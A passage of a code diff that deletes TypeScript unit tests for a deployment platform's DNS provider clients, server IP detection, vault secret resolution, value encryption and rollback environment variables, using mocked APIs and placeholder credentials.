expect(createUrl).toContain("/dns/create/example.com");
const body = JSON.parse(createInit.body as string);
expect(body).toMatchObject({ name: "app", type: "A", content: "5.6.7.8" });
});
it("defaults ttl to 600 when not provided", async () => {
mockFetch
.mockResolvedValueOnce(pbSuccess({ records: [] }))
.mockResolvedValueOnce(pbSuccess({ id: "new-1" }));
await porkbunClient.upsertRecord(config, {
zoneId: "example.com",
type: "CNAME",
name: "www.example.com",
content: "example.com",
});
const [, createInit] = mockFetch.mock.calls[1] as [string, RequestInit];
const body = JSON.parse(createInit.body as string);
expect(body.ttl).toBe(600);
});
});
describe("porkbunClient.updateRecord", () => {
it("edits the given record id", async () => {
mockFetch.mockResolvedValue(pbSuccess({}));
const result = await porkbunClient.updateRecord(
config,
"example.com",
"1",
{
type: "A",
name: "app.example.com",
content: "9.9.9.9",
ttl: 300,
},
);
expect(result).toEqual({ id: "1" });
const [url, init] = mockFetch.mock.calls[0] as [string, RequestInit];
expect(url).toContain("/dns/edit/example.com/1");
expect(JSON.parse(init.body as string)).toMatchObject({
name: "app",
type: "A",
content: "9.9.9.9",
ttl: 300,
});
});
});
describe("porkbunClient.deleteRecord", () => {
it("posts to the delete endpoint for the given record id", async () => {
mockFetch.mockResolvedValue(pbSuccess({}));
await porkbunClient.deleteRecord(config, "example.com", "1");
const [url] = mockFetch.mock.calls[0] as [string];
expect(url).toContain("/dns/delete/example.com/1");
});
});
describe("porkbunClient.testConnection", () => {
it("succeeds when the credentials can ping the API", async () => {
mockFetch.mockResolvedValue(pbSuccess({}));
await expect(porkbunClient.testConnection(config)).resolves.toBeUndefined();
});
it("surfaces Porkbun's error message on invalid credentials", async () => {
mockFetch.mockResolvedValue(pbError("Invalid API key."));
await expect(porkbunClient.testConnection(config)).rejects.toThrow(
"Invalid API key.",
);
});
});
-385
View File
@@ -1,385 +0,0 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
type HasInput = { input: any };
const {
send,
Route53Client,
ListHostedZonesCommand,
ListResourceRecordSetsCommand,
ChangeResourceRecordSetsCommand,
} = vi.hoisted(() => {
class FakeCommand {
input: any;
constructor(input: any) {
this.input = input;
}
}
const send = vi.fn();
class Route53Client {
send(command: unknown) {
return send(command);
}
}
return {
send,
Route53Client,
ListHostedZonesCommand: class extends FakeCommand {},
ListResourceRecordSetsCommand: class extends FakeCommand {},
ChangeResourceRecordSetsCommand: class extends FakeCommand {},
};
});
vi.mock("@aws-sdk/client-route-53", () => ({
Route53Client,
ListHostedZonesCommand,
ListResourceRecordSetsCommand,
ChangeResourceRecordSetsCommand,
}));
import { route53Client } from "@dokploy/server/utils/dns/route53";
const config = {
providerType: "route53" as const,
accessKeyId: "AKIA_TEST",
secretAccessKey: "secret",
};
beforeEach(() => {
send.mockReset();
});
describe("route53Client.listZones", () => {
it("strips the hostedzone prefix and the trailing dot", async () => {
send.mockResolvedValueOnce({
HostedZones: [{ Id: "/hostedzone/Z123", Name: "example.com." }],
IsTruncated: false,
});
const zones = await route53Client.listZones(config);
expect(zones).toEqual([{ id: "Z123", name: "example.com" }]);
});
it("follows the marker until IsTruncated is false", async () => {
send
.mockResolvedValueOnce({
HostedZones: [{ Id: "/hostedzone/Z1", Name: "a.com." }],
IsTruncated: true,
NextMarker: "marker-1",
})
.mockResolvedValueOnce({
HostedZones: [{ Id: "/hostedzone/Z2", Name: "b.com." }],
IsTruncated: false,
});
const zones = await route53Client.listZones(config);
expect(zones).toEqual([
{ id: "Z1", name: "a.com" },
{ id: "Z2", name: "b.com" },
]);
expect(send).toHaveBeenCalledTimes(2);
expect((send.mock.calls[1]?.[0] as HasInput).input.Marker).toBe("marker-1");
});
});
describe("route53Client.listRecords", () => {
it("builds a type:name id and strips the trailing dot from the name", async () => {
send.mockResolvedValueOnce({
ResourceRecordSets: [
{
Name: "app.example.com.",
Type: "A",
TTL: 300,
ResourceRecords: [{ Value: "1.2.3.4" }],
},
],
IsTruncated: false,
});
const records = await route53Client.listRecords(config, "Z123");
expect(records).toEqual([
{
id: "A:app.example.com",
type: "A",
name: "app.example.com",
content: "1.2.3.4",
ttl: 300,
},
]);
});
it("skips record sets with no ResourceRecords (e.g. alias targets)", async () => {
send.mockResolvedValueOnce({
ResourceRecordSets: [
{ Name: "alias.example.com.", Type: "A", ResourceRecords: [] },
],
IsTruncated: false,
});
const records = await route53Client.listRecords(config, "Z123");
expect(records).toEqual([]);
});
it("joins multiple values for the same record", async () => {
send.mockResolvedValueOnce({
ResourceRecordSets: [
{
Name: "example.com.",
Type: "NS",
TTL: 172800,
ResourceRecords: [
{ Value: "ns1.example.com" },
{ Value: "ns2.example.com" },
],
},
],
IsTruncated: false,
});
const records = await route53Client.listRecords(config, "Z123");
expect(records[0]?.content).toBe("ns1.example.com\nns2.example.com");
});
});
describe("route53Client.upsertRecord", () => {
it("sends a single UPSERT change when nothing exists yet", async () => {
send
.mockResolvedValueOnce({ ResourceRecordSets: [] })
.mockResolvedValueOnce({});
const result = await route53Client.upsertRecord(config, {
zoneId: "Z123",
type: "A",
name: "app.example.com",
content: "1.2.3.4",
});
expect(result).toEqual({ id: "A:app.example.com" });
const command = send.mock.calls[1]?.[0] as HasInput;
expect(command.input.HostedZoneId).toBe("Z123");
expect(command.input.ChangeBatch.Changes).toEqual([
{
Action: "UPSERT",
ResourceRecordSet: {
Name: "app.example.com.",
Type: "A",
TTL: 300,
ResourceRecords: [{ Value: "1.2.3.4" }],
},
},
]);
});
it("keeps the values already in the record set", async () => {
send
.mockResolvedValueOnce({
ResourceRecordSets: [
{
Name: "app.example.com.",
Type: "A",
TTL: 300,
ResourceRecords: [{ Value: "1.1.1.1" }, { Value: "2.2.2.2" }],
},
],
})
.mockResolvedValueOnce({});
await route53Client.upsertRecord(config, {
zoneId: "Z123",
type: "A",
name: "app.example.com",
content: "3.3.3.3",
});
const command = send.mock.calls[1]?.[0] as HasInput;
expect(
command.input.ChangeBatch.Changes[0].ResourceRecordSet.ResourceRecords,
).toEqual([
{ Value: "1.1.1.1" },
{ Value: "2.2.2.2" },
{ Value: "3.3.3.3" },
]);
});
it("does not duplicate a value that is already in the record set", async () => {
send
.mockResolvedValueOnce({
ResourceRecordSets: [
{
Name: "app.example.com.",
Type: "A",
TTL: 300,
ResourceRecords: [{ Value: "1.1.1.1" }],
},
],
})
.mockResolvedValueOnce({});
await route53Client.upsertRecord(config, {
zoneId: "Z123",
type: "A",
name: "app.example.com",
content: "1.1.1.1",
});
const command = send.mock.calls[1]?.[0] as HasInput;
expect(
command.input.ChangeBatch.Changes[0].ResourceRecordSet.ResourceRecords,
).toEqual([{ Value: "1.1.1.1" }]);
});
it("wraps unquoted TXT values in double quotes", async () => {
send
.mockResolvedValueOnce({ ResourceRecordSets: [] })
.mockResolvedValueOnce({});
await route53Client.upsertRecord(config, {
zoneId: "Z123",
type: "TXT",
name: "example.com",
content: 'v=spf1 ~all\n"already quoted"',
});
const command = send.mock.calls[1]?.[0] as HasInput;
expect(
command.input.ChangeBatch.Changes[0].ResourceRecordSet.ResourceRecords,
).toEqual([{ Value: '"v=spf1 ~all"' }, { Value: '"already quoted"' }]);
});
});
describe("route53Client.updateRecord", () => {
it("only UPSERTs when the name/type identity did not change", async () => {
send.mockResolvedValueOnce({});
await route53Client.updateRecord(config, "Z123", "A:app.example.com", {
type: "A",
name: "app.example.com",
content: "9.9.9.9",
});
expect(send).toHaveBeenCalledTimes(1);
const command = send.mock.calls[0]?.[0] as HasInput;
expect(command.input.ChangeBatch.Changes).toHaveLength(1);
expect(command.input.ChangeBatch.Changes[0].Action).toBe("UPSERT");
});
it("deletes the old record set and creates the new one on rename", async () => {
const existingSet = {
Name: "old.example.com.",
Type: "A",
TTL: 300,
ResourceRecords: [{ Value: "1.1.1.1" }],
};
send
.mockResolvedValueOnce({ ResourceRecordSets: [existingSet] }) // findExactRecordSet lookup
.mockResolvedValueOnce({}); // ChangeResourceRecordSets
await route53Client.updateRecord(config, "Z123", "A:old.example.com", {
type: "A",
name: "new.example.com",
content: "1.1.1.1",
});
const changeCommand = send.mock.calls[1]?.[0] as HasInput;
expect(changeCommand.input.ChangeBatch.Changes).toEqual([
{ Action: "DELETE", ResourceRecordSet: existingSet },
{
Action: "UPSERT",
ResourceRecordSet: {
Name: "new.example.com.",
Type: "A",
TTL: 300,
ResourceRecords: [{ Value: "1.1.1.1" }],
},
},
]);
});
it("keeps every line of a multi-value record set", async () => {
send.mockResolvedValueOnce({});
await route53Client.updateRecord(config, "Z123", "NS:example.com", {
type: "NS",
name: "example.com",
content: "ns1.example.com\nns2.example.com\n\n ns3.example.com ",
});
const command = send.mock.calls[0]?.[0] as HasInput;
expect(
command.input.ChangeBatch.Changes[0].ResourceRecordSet.ResourceRecords,
).toEqual([
{ Value: "ns1.example.com" },
{ Value: "ns2.example.com" },
{ Value: "ns3.example.com" },
]);
});
it("skips the DELETE when the old record no longer exists", async () => {
send
.mockResolvedValueOnce({ ResourceRecordSets: [] })
.mockResolvedValueOnce({});
await route53Client.updateRecord(config, "Z123", "A:gone.example.com", {
type: "A",
name: "new.example.com",
content: "1.1.1.1",
});
const changeCommand = send.mock.calls[1]?.[0] as HasInput;
expect(changeCommand.input.ChangeBatch.Changes).toHaveLength(1);
expect(changeCommand.input.ChangeBatch.Changes[0].Action).toBe("UPSERT");
});
});
describe("route53Client.deleteRecord", () => {
it("deletes the record set found by name/type", async () => {
const existingSet = {
Name: "app.example.com.",
Type: "A",
TTL: 300,
ResourceRecords: [{ Value: "1.2.3.4" }],
};
send.mockResolvedValueOnce({ ResourceRecordSets: [existingSet] });
send.mockResolvedValueOnce({});
await route53Client.deleteRecord(config, "Z123", "A:app.example.com");
const changeCommand = send.mock.calls[1]?.[0] as HasInput;
expect(changeCommand.input.ChangeBatch.Changes).toEqual([
{ Action: "DELETE", ResourceRecordSet: existingSet },
]);
});
it("throws when the record no longer exists", async () => {
send.mockResolvedValueOnce({ ResourceRecordSets: [] });
await expect(
route53Client.deleteRecord(config, "Z123", "A:gone.example.com"),
).rejects.toThrow("not found");
});
it("throws for a malformed record id", async () => {
await expect(
route53Client.deleteRecord(config, "Z123", "not-a-valid-id"),
).rejects.toThrow("Invalid Route53 record id");
});
});
describe("route53Client.testConnection", () => {
it("resolves when ListHostedZones succeeds", async () => {
send.mockResolvedValueOnce({ HostedZones: [] });
await expect(route53Client.testConnection(config)).resolves.toBeUndefined();
});
it("propagates SDK errors", async () => {
send.mockRejectedValueOnce(new Error("InvalidClientTokenId"));
await expect(route53Client.testConnection(config)).rejects.toThrow(
"InvalidClientTokenId",
);
});
});
@@ -1,149 +0,0 @@
import os from "node:os";
import {
getServerIpCandidates,
validateDomain,
} from "@dokploy/server/services/domain";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
const mocks = vi.hoisted(() => ({
execAsyncRemote: vi.fn(),
findServerById: vi.fn(),
getPublicIpWithFallback: vi.fn(),
getWebServerSettings: vi.fn(),
resolve4: vi.fn(),
resolve6: vi.fn(),
}));
vi.mock("node:dns", () => ({
default: {
resolve4: mocks.resolve4,
resolve6: mocks.resolve6,
},
}));
vi.mock("@dokploy/server/utils/process/execAsync", () => ({
execAsyncRemote: mocks.execAsyncRemote,
}));
vi.mock("@dokploy/server/services/server", () => ({
findServerById: mocks.findServerById,
}));
vi.mock("@dokploy/server/services/web-server-settings", () => ({
getWebServerSettings: mocks.getWebServerSettings,
}));
vi.mock("@dokploy/server/wss/utils", () => ({
getPublicIpWithFallback: mocks.getPublicIpWithFallback,
}));
describe("getServerIpCandidates", () => {
beforeEach(() => {
vi.clearAllMocks();
});
afterEach(() => {
vi.restoreAllMocks();
vi.useRealTimers();
});
it("includes every address reported by a multi-homed remote server", async () => {
mocks.findServerById.mockResolvedValue({
ipAddress: "10.0.0.10",
});
mocks.execAsyncRemote.mockResolvedValue({
stdout: ["10.0.0.10", "192.0.2.10", "2001:db8::10"].join("\n"),
stderr: "",
});
await expect(getServerIpCandidates("server-id")).resolves.toEqual([
"10.0.0.10",
"192.0.2.10",
"2001:db8::10",
]);
expect(mocks.execAsyncRemote).toHaveBeenCalledWith(
"server-id",
expect.stringContaining("ip -o addr show scope global"),
);
});
it("includes every address assigned to the local Dokploy host", async () => {
mocks.getWebServerSettings.mockResolvedValue({
serverIp: "10.0.0.10",
});
mocks.getPublicIpWithFallback.mockResolvedValue("2001:db8::10");
vi.spyOn(os, "networkInterfaces").mockReturnValue({
eth0: [
{
address: "192.0.2.10",
netmask: "255.255.255.0",
family: "IPv4",
mac: "00:00:00:00:00:00",
internal: false,
cidr: "192.0.2.10/24",
},
],
});
await expect(getServerIpCandidates()).resolves.toEqual([
"10.0.0.10",
"192.0.2.10",
"2001:db8::10",
]);
});
it("retains remote interface addresses when public IP detection times out", async () => {
vi.useFakeTimers();
mocks.findServerById.mockResolvedValue({
ipAddress: "10.0.0.10",
});
mocks.execAsyncRemote.mockImplementation(
(_serverId: string, command: string) => {
if (command.includes("curl")) {
return new Promise(() => undefined);
}
return Promise.resolve({
stdout: "192.0.2.10\n",
stderr: "",
});
},
);
const candidatesPromise = getServerIpCandidates("server-id");
await vi.advanceTimersByTimeAsync(7000);
await expect(candidatesPromise).resolves.toEqual([
"10.0.0.10",
"192.0.2.10",
]);
});
});
describe("validateDomain", () => {
afterEach(() => {
vi.clearAllMocks();
});
it("validates an IPv6-only domain against an IPv6 server address", async () => {
const noIpv4 = Object.assign(new Error("queryA ENODATA example.com"), {
code: "ENODATA",
});
mocks.resolve4.mockImplementation(
(_domain: string, callback: (error: Error | null) => void) =>
callback(noIpv4),
);
mocks.resolve6.mockImplementation(
(
_domain: string,
callback: (error: Error | null, addresses?: string[]) => void,
) => callback(null, ["2001:db8::10"]),
);
await expect(
validateDomain("example.com", ["2001:db8::10"]),
).resolves.toMatchObject({
isValid: true,
resolvedIp: "2001:db8::10",
});
});
});
-2
View File
@@ -32,8 +32,6 @@ const baseApp: ApplicationNested = {
railpackVersion: "0.15.4",
applicationId: "",
previewLabels: [],
networkIds: [],
detachDokployNetwork: false,
createEnvFile: true,
bitbucketRepositorySlug: "",
herokuVersion: "",
-195
View File
@@ -1,195 +0,0 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
type HasInput = { input: Record<string, unknown> };
const findMany = vi.hoisted(() => vi.fn());
const {
send,
paginate,
SSMClient,
GetParametersCommand,
DescribeParametersCommand,
} = vi.hoisted(() => {
class FakeCommand {
input: Record<string, unknown>;
constructor(input: Record<string, unknown>) {
this.input = input;
}
}
const send = vi.fn();
const paginate = vi.fn();
class SSMClient {
send(command: unknown) {
return send(command);
}
}
return {
send,
paginate,
SSMClient,
GetParametersCommand: class extends FakeCommand {},
DescribeParametersCommand: class extends FakeCommand {},
};
});
vi.mock("@aws-sdk/client-ssm", () => ({
SSMClient,
GetParametersCommand,
DescribeParametersCommand,
paginateDescribeParameters: paginate,
}));
vi.mock("@dokploy/server/db", () => ({
db: {
query: {
vaultProvider: {
findMany: (...args: unknown[]) => findMany(...args),
},
},
},
}));
import { resolveVaultReferences } from "@dokploy/server/utils/vault";
import { awsParameterStoreClient } from "@dokploy/server/utils/vault/aws-parameter-store";
const config = {
providerType: "aws-parameter-store" as const,
region: "eu-central-1",
accessKeyId: "AKIA_TEST",
secretAccessKey: "secret",
};
beforeEach(() => {
send.mockReset();
paginate.mockReset();
findMany.mockReset();
});
describe("awsParameterStoreClient", () => {
it("decrypts parameters in batches of ten and preserves selectors", async () => {
const refs = [
"/prod/database:CURRENT",
...Array.from({ length: 10 }, (_, index) => `/prod/secret-${index}`),
];
send.mockImplementation(async (command: HasInput) => ({
Parameters: (command.input.Names as string[]).map((ref) => {
if (ref === "/prod/database:CURRENT") {
return {
Name: "/prod/database",
Selector: ":CURRENT",
Value: "selected-value",
};
}
return { Name: ref, Value: `value-for-${ref}` };
}),
}));
const result = await awsParameterStoreClient.getSecrets(config, refs);
expect(send).toHaveBeenCalledTimes(2);
expect((send.mock.calls[0]?.[0] as HasInput).input).toMatchObject({
WithDecryption: true,
});
expect(
((send.mock.calls[0]?.[0] as HasInput).input.Names as string[]).length,
).toBe(10);
expect(
((send.mock.calls[1]?.[0] as HasInput).input.Names as string[]).length,
).toBe(1);
expect(result["/prod/database:CURRENT"]).toBe("selected-value");
expect(result["/prod/secret-9"]).toBe("value-for-/prod/secret-9");
});
it("reports a missing parameter without exposing other values", async () => {
send.mockResolvedValue({ Parameters: [], InvalidParameters: ["/missing"] });
await expect(
awsParameterStoreClient.getSecrets(config, ["/missing"]),
).rejects.toThrow('AWS Parameter Store: parameter "/missing" not found');
});
it("tests the connection within the configured hierarchy", async () => {
send.mockResolvedValue({ Parameters: [] });
await awsParameterStoreClient.testConnection({
...config,
parameterPath: "/production/my-app/",
});
expect(send).toHaveBeenCalledTimes(1);
expect((send.mock.calls[0]?.[0] as HasInput).input).toEqual({
ParameterFilters: [
{
Key: "Path",
Option: "Recursive",
Values: ["/production/my-app"],
},
],
MaxResults: 1,
});
});
it("explains the discovery permission when connection testing is denied", async () => {
const error = new Error("not authorized");
error.name = "AccessDeniedException";
send.mockRejectedValue(error);
await expect(
awsParameterStoreClient.testConnection(config),
).rejects.toThrow("ssm:DescribeParameters");
});
it("lists parameter names across pages within the configured hierarchy", async () => {
paginate.mockReturnValue(
(async function* () {
yield { Parameters: [{ Name: "/prod/db" }] };
yield { Parameters: [{ Name: "/prod/api" }] };
})(),
);
const names = await awsParameterStoreClient.listSecretNames?.({
...config,
parameterPath: " /production/my-app/ ",
});
expect(names).toEqual(["/prod/db", "/prod/api"]);
expect(paginate).toHaveBeenCalledWith(
expect.objectContaining({ pageSize: 50 }),
{
ParameterFilters: [
{
Key: "Path",
Option: "Recursive",
Values: ["/production/my-app"],
},
],
},
);
});
it("resolves a vault reference through the registered provider", async () => {
findMany.mockResolvedValue([
{
name: "ssm-prod",
providerType: "aws-parameter-store",
config,
assignments: [{ projectId: "project-1", environmentIds: [] }],
},
]);
send.mockResolvedValue({
Parameters: [{ Name: "/prod/database-password", Value: "resolved" }],
});
const result = await resolveVaultReferences(
"DB_PASSWORD=${{vault.ssm-prod./prod/database-password}}",
{
organizationId: "organization-1",
projectId: "project-1",
environmentId: "environment-1",
},
);
expect(result).toBe("DB_PASSWORD=resolved");
});
});
-93
View File
@@ -1,93 +0,0 @@
import {
decryptValue,
encryptValue,
exportEncryptionKeys,
isEncrypted,
} from "@dokploy/server/lib/encryption";
import { afterEach, describe, expect, it, vi } from "vitest";
describe("encryptValue / decryptValue", () => {
it("round-trips a value", () => {
const value =
"DATABASE_URL=postgres://user:secret@host:5432/db\nAPI_KEY=123";
const encrypted = encryptValue(value);
expect(encrypted).not.toBe(value);
expect(isEncrypted(encrypted)).toBe(true);
expect(encrypted).not.toContain("secret");
expect(decryptValue(encrypted)).toBe(value);
});
it("uses a random IV so equal inputs produce different ciphertexts", () => {
const value = "KEY=value";
expect(encryptValue(value)).not.toBe(encryptValue(value));
});
it("passes legacy plaintext through on decrypt", () => {
const plaintext = "KEY=legacy-plaintext-value";
expect(decryptValue(plaintext)).toBe(plaintext);
});
it("passes empty values through unchanged", () => {
expect(encryptValue("")).toBe("");
expect(decryptValue("")).toBe("");
});
it("does not double-encrypt an already encrypted value", () => {
const encrypted = encryptValue("KEY=value");
expect(encryptValue(encrypted)).toBe(encrypted);
});
it("throws a descriptive error on tampered ciphertext", () => {
const encrypted = encryptValue("KEY=value");
const tampered = `${encrypted.slice(0, -4)}AAAA`;
expect(() => decryptValue(tampered)).toThrow(/BETTER_AUTH_SECRET/);
});
it("exports the derived keys as 32-byte hex lines for backups", () => {
expect(exportEncryptionKeys()).toMatch(/^[0-9a-f]{64}(\n[0-9a-f]{64})*$/);
});
});
describe("dedicated ENCRYPTION_KEY", () => {
afterEach(() => {
vi.unstubAllEnvs();
vi.resetModules();
});
const loadWithEncryptionKey = async (key: string) => {
vi.stubEnv("ENCRYPTION_KEY", key);
vi.resetModules();
return await import("@dokploy/server/lib/encryption");
};
it("encrypts with the dedicated key when set", async () => {
const withKey = await loadWithEncryptionKey("my-dedicated-key");
const encrypted = withKey.encryptValue("KEY=value");
expect(withKey.decryptValue(encrypted)).toBe("KEY=value");
// The default (auth-secret derived) module cannot read it
expect(() => decryptValue(encrypted)).toThrow(/ENCRYPTION_KEY/);
});
it("still decrypts legacy values via the auth-secret fallback", async () => {
// Encrypted before the install adopted a dedicated key
const legacyEncrypted = encryptValue("KEY=legacy-value");
const withKey = await loadWithEncryptionKey("my-dedicated-key");
expect(withKey.decryptValue(legacyEncrypted)).toBe("KEY=legacy-value");
});
it("re-encrypts with the dedicated key on write", async () => {
const withKey = await loadWithEncryptionKey("my-dedicated-key");
const reEncrypted = withKey.encryptValue(
withKey.decryptValue(encryptValue("KEY=migrated")),
);
const other = await loadWithEncryptionKey("another-key");
// Readable only by the dedicated key (or its own fallback), proving
// the write used the primary key, not the legacy one
expect(withKey.decryptValue(reEncrypted)).toBe("KEY=migrated");
expect(() => other.decryptValue(reEncrypted)).toThrow();
});
});
-108
View File
@@ -1,108 +0,0 @@
import { prepareEnvironmentVariables } from "@dokploy/server/index";
import { describe, expect, it } from "vitest";
const projectEnv = `
ENVIRONMENT=staging
DATABASE_URL=postgres://postgres:postgres@localhost:5432/project_db
`;
const environmentEnv = `
NODE_ENV=production
POSTGRES_HOST=postgres.internal
POSTGRES_PORT=5432
REDIS_URL=redis://redis.internal:6379
`;
const serviceEnv = `
NODE_ENV=\${{environment.NODE_ENV}}
REDIS_URL=\${{environment.REDIS_URL}}
PORT=3000
`;
/**
* A rollback replays the snapshot stored in `rollbacks.fullContext`, which keeps
* the service env, the environment env and the project env captured at deploy time.
*/
const fullContext = {
env: serviceEnv,
environment: {
env: environmentEnv,
project: {
env: projectEnv,
},
},
};
describe("prepareEnvironmentVariables for application rollback", () => {
it("resolves environment variables from the rollback snapshot", () => {
const result = prepareEnvironmentVariables(
fullContext.env,
fullContext.environment.project.env,
fullContext.environment.env,
);
expect(result).toEqual([
"NODE_ENV=production",
"REDIS_URL=redis://redis.internal:6379",
"PORT=3000",
]);
});
it("resolves project and environment variables together on rollback", () => {
const rollbackEnv = `
DATABASE_URL=\${{project.DATABASE_URL}}
POSTGRES_URL=postgres://\${{environment.POSTGRES_HOST}}:\${{environment.POSTGRES_PORT}}/app
ENVIRONMENT=\${{project.ENVIRONMENT}}
`;
const result = prepareEnvironmentVariables(
rollbackEnv,
projectEnv,
environmentEnv,
);
expect(result).toEqual([
"DATABASE_URL=postgres://postgres:postgres@localhost:5432/project_db",
"POSTGRES_URL=postgres://postgres.internal:5432/app",
"ENVIRONMENT=staging",
]);
});
it("throws when the environment env of the snapshot is not passed", () => {
expect(() =>
prepareEnvironmentVariables(fullContext.env, projectEnv),
).toThrow("Invalid environment variable: environment.NODE_ENV");
});
it("maintains precedence: service > environment > project on rollback", () => {
const conflictingProjectEnv = `
NODE_ENV=project
API_URL=https://project.api.com
`;
const conflictingEnvironmentEnv = `
NODE_ENV=environment
API_URL=https://environment.api.com
`;
const rollbackEnv = `
NODE_ENV=service
PROJECT_API_URL=\${{project.API_URL}}
ENVIRONMENT_API_URL=\${{environment.API_URL}}
SELF_REFERENCE=\${{NODE_ENV}}
`;
const result = prepareEnvironmentVariables(
rollbackEnv,
conflictingProjectEnv,
conflictingEnvironmentEnv,
);
expect(result).toEqual([
"NODE_ENV=service",
"PROJECT_API_URL=https://project.api.com",
"ENVIRONMENT_API_URL=https://environment.api.com",
"SELF_REFERENCE=service",
]);
});
});
-963
View File
@@ -1,963 +0,0 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
const findMany = vi.fn();
vi.mock("@dokploy/server/db", () => ({
db: {
query: {
vaultProvider: {
findMany: (...args: unknown[]) => findMany(...args),
},
},
},
}));
import { prepareEnvironmentVariables } from "@dokploy/server/utils/docker/utils";
import {
resolveVaultReferences,
withResolvedVaultRefs,
} from "@dokploy/server/utils/vault";
import { azureClient } from "@dokploy/server/utils/vault/azure";
import { dopplerClient } from "@dokploy/server/utils/vault/doppler";
import { hashicorpClient } from "@dokploy/server/utils/vault/hashicorp";
import { infisicalClient } from "@dokploy/server/utils/vault/infisical";
import { phaseClient } from "@dokploy/server/utils/vault/phase";
import { scalewayClient } from "@dokploy/server/utils/vault/scaleway";
const mockFetch = vi.fn();
global.fetch = mockFetch as typeof fetch;
const jsonResponse = (body: unknown, ok = true, status = 200) =>
({
ok,
status,
json: async () => body,
}) as Response;
beforeEach(() => {
findMany.mockReset();
mockFetch.mockReset();
});
const scope = {
organizationId: "org-1",
projectId: "proj-1",
environmentId: "env-1",
};
const assignedEverywhere = [{ projectId: "proj-1", environmentIds: [] }];
describe("resolveVaultReferences", () => {
it("returns input untouched and skips the db when no refs are present", async () => {
const env = "FOO=bar\nBAZ=${{project.QUX}}";
const result = await resolveVaultReferences(env, scope);
expect(result).toBe(env);
expect(findMany).not.toHaveBeenCalled();
});
it("returns null/empty inputs unchanged", async () => {
expect(await resolveVaultReferences(null, scope)).toBeNull();
expect(await resolveVaultReferences("", scope)).toBe("");
});
it("throws when refs exist but no organization context is given", async () => {
await expect(
resolveVaultReferences("FOO=${{vault.prod.SECRET}}"),
).rejects.toThrow("not supported in this context");
});
it("throws for an unknown provider", async () => {
findMany.mockResolvedValue([]);
await expect(
resolveVaultReferences("FOO=${{vault.missing.SECRET}}", scope),
).rejects.toThrow('Vault provider "missing" not found');
});
it("throws when the provider is not assigned to the project", async () => {
findMany.mockResolvedValue([
{
name: "prod",
providerType: "doppler",
config: { providerType: "doppler", serviceToken: "dp.st.token" },
assignments: [{ projectId: "other-project", environmentIds: [] }],
},
]);
await expect(
resolveVaultReferences("FOO=${{vault.prod.SECRET}}", scope),
).rejects.toThrow("not enabled for this project/environment");
});
it("throws when the provider is restricted to another environment", async () => {
findMany.mockResolvedValue([
{
name: "prod",
providerType: "doppler",
config: { providerType: "doppler", serviceToken: "dp.st.token" },
assignments: [
{ projectId: "proj-1", environmentIds: ["production-env"] },
],
},
]);
await expect(
resolveVaultReferences("FOO=${{vault.prod.SECRET}}", scope),
).rejects.toThrow("not enabled for this project/environment");
});
it("allows a provider restricted to the matching environment", async () => {
findMany.mockResolvedValue([
{
name: "prod",
providerType: "doppler",
config: { providerType: "doppler", serviceToken: "dp.st.token" },
assignments: [{ projectId: "proj-1", environmentIds: ["env-1"] }],
},
]);
mockFetch.mockResolvedValue(jsonResponse({ SECRET: "value-1" }));
const result = await resolveVaultReferences(
"FOO=${{vault.prod.SECRET}}",
scope,
);
expect(result).toBe("FOO=value-1");
});
it("resolves refs through a doppler provider", async () => {
findMany.mockResolvedValue([
{
name: "doppler-prod",
providerType: "doppler",
config: { providerType: "doppler", serviceToken: "dp.st.token" },
assignments: assignedEverywhere,
},
]);
mockFetch.mockResolvedValue(
jsonResponse({ DB_URL: "postgres://real", API_KEY: "key-123" }),
);
const result = await resolveVaultReferences(
"DB_URL=${{vault.doppler-prod.DB_URL}}\nAPI_KEY=${{vault.doppler-prod.API_KEY}}",
scope,
);
expect(result).toBe("DB_URL=postgres://real\nAPI_KEY=key-123");
expect(mockFetch).toHaveBeenCalledTimes(1);
});
it("throws when the secret is missing in the provider", async () => {
findMany.mockResolvedValue([
{
name: "doppler-prod",
providerType: "doppler",
config: { providerType: "doppler", serviceToken: "dp.st.token" },
assignments: assignedEverywhere,
},
]);
mockFetch.mockResolvedValue(jsonResponse({ OTHER: "x" }));
await expect(
resolveVaultReferences("FOO=${{vault.doppler-prod.MISSING}}", scope),
).rejects.toThrow('secret "MISSING" not found');
});
});
describe("withResolvedVaultRefs + prepareEnvironmentVariables", () => {
it("resolves entity env sources so sync interpolation sees real values", async () => {
findMany.mockResolvedValue([
{
name: "prod",
providerType: "doppler",
config: { providerType: "doppler", serviceToken: "dp.st.token" },
assignments: assignedEverywhere,
},
]);
mockFetch.mockResolvedValue(jsonResponse({ DB_PASSWORD: "s3cret" }));
const entity = {
env: "DATABASE_URL=postgres://user:${{project.DB_PASSWORD}}@db",
environment: {
environmentId: "env-1",
env: null,
project: {
projectId: "proj-1",
env: "DB_PASSWORD=${{vault.prod.DB_PASSWORD}}",
organizationId: "org-1",
},
},
};
const resolved = await withResolvedVaultRefs(entity);
const prepared = prepareEnvironmentVariables(
resolved.env,
resolved.environment.project.env,
resolved.environment.env,
);
expect(prepared).toEqual(["DATABASE_URL=postgres://user:s3cret@db"]);
});
it("resolves buildArgs and buildSecrets when present", async () => {
findMany.mockResolvedValue([
{
name: "prod",
providerType: "doppler",
config: { providerType: "doppler", serviceToken: "dp.st.token" },
assignments: assignedEverywhere,
},
]);
mockFetch.mockResolvedValue(jsonResponse({ NPM_TOKEN: "npm-123" }));
const resolved = await withResolvedVaultRefs({
env: "FOO=bar",
buildArgs: "NPM_TOKEN=${{vault.prod.NPM_TOKEN}}",
buildSecrets: null,
environment: {
environmentId: "env-1",
env: null,
project: { projectId: "proj-1", env: null, organizationId: "org-1" },
},
});
expect(resolved.buildArgs).toBe("NPM_TOKEN=npm-123");
expect(resolved.buildSecrets).toBeNull();
expect(resolved.env).toBe("FOO=bar");
});
it.each([
["service env", { env: "SECRET=${{vault.locked.X}}" }],
["environment env", { environmentEnv: "SECRET=${{vault.locked.X}}" }],
["project env", { projectEnv: "SECRET=${{vault.locked.X}}" }],
["build args", { buildArgs: "SECRET=${{vault.locked.X}}" }],
])(
"rejects a ref to an unassigned provider placed in the %s",
async (_source, overrides) => {
findMany.mockResolvedValue([
{
name: "locked",
providerType: "doppler",
config: { providerType: "doppler", serviceToken: "dp.st.token" },
assignments: [{ projectId: "other-project", environmentIds: [] }],
},
]);
const entity = {
env: (overrides as { env?: string }).env ?? "FOO=bar",
